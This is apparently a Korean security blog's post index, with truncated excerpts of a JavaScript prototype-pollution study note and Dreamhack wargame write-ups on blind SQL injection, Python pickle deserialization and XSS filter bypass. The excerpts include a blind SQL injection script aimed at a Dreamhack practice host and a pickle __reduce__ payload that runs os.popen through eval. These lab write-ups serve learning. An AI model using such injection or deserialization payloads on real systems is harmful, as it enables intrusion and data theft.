전체 글(140)
-
[STUDY] Web - javascript prototype pollution
javascript는 객체 지향형 프로그래밍 언어이다. 하지만 특이하게도 다른 객체지향형 프로그래밍 언어들과는 다르게 상속이 가능한 class가 존재하지 않는다. 이를 보완하기 위해 js는 prototype이란게 존재한다. 따라서 prototype으로 상속이 가능하다. var a = { r1: '1' } var b = { r2: '2' } b.__proto__ = a; b.r1 // '1' b에서 a의 r1에 접근할 수 있다. b는 자식 객체가 되는것이고 a는 부모 객체가 되는것이다. 이러한 원리를 이용하여 const dotProp = require("dot-prop") const object = {}; console.log("Before " + object.b); //Undefined dotProp.s..
2022.07.18 -
[WARGAME] Dreamhack - XSS Filtering Bypass Advanced
보호되어 있는 글입니다.
2022.07.13 -
[WARGAME] Dreamhack - blind sql injection
1레벨의 간단한 문제이다. from requests import get password_length = 0 while True: password_length += 1 query = f"and char_length(upw) = {password_length}-- -" r = get(f"http://host3.dreamhack.games:11328/?uid=admin'{query}") print(r.text) if "exist" in r.text: break print(f"passwordlength = {password_length}") 블라인드 sql 인젝션은 그 특수성때문에 password를 바로 찾아낼수 없다. 따라서 첫번째로, password 길이를 알아낸다. 길이는 13자리가 나온다. from re..
2022.07.11 -
[WARGAME] Dreamhack - web-deserialize-python
레벨 1의 워밍업 문제이다. 개인적으로는 어느정도의 구글링과 코딩능력을 요구한다고 생각한다. /index.html 이다. 별건 없다. 위에 적힌 create session으로 들어가보자 Name userid password 를 입력할 수 있는 form이 주어진다. create session에서 name,userid,password를 입력하면 세션이 base64로 발급된다. check session에서는 그 세션을 기입하면 위와 같이 정보가 serialization 화 된다. import pickle, os, base64 class Vuln(object): def __reduce__(self): command = "os.popen('cat ./flag.txt').read()" return (eval, (c..
2022.07.07 -
[WARGAME] Dreamhack - baby Sqlite
보호되어 있는 글입니다.
2022.07.06 -
[WARGAME] Dreamhack - XSS Filtering Bypass
레벨 1, 웹 해킹 분야의 XSS Filtering Bypass 라는 문제이다. 난이도도 1레벨이고 본 문제의 강의도 로드맵에 존재하는것을 보아 많이 어려운 문제는 아닌듯 하다. from flask import Flask, request, render_template from selenium import webdriver import urllib import os app = Flask(__name__) app.secret_key = os.urandom(32) try: FLAG = open("./flag.txt", "r").read() except: FLAG = "[**FLAG**]" def read_url(url, cookie={"name": "name", "value": "value"}): cookie..
2022.07.05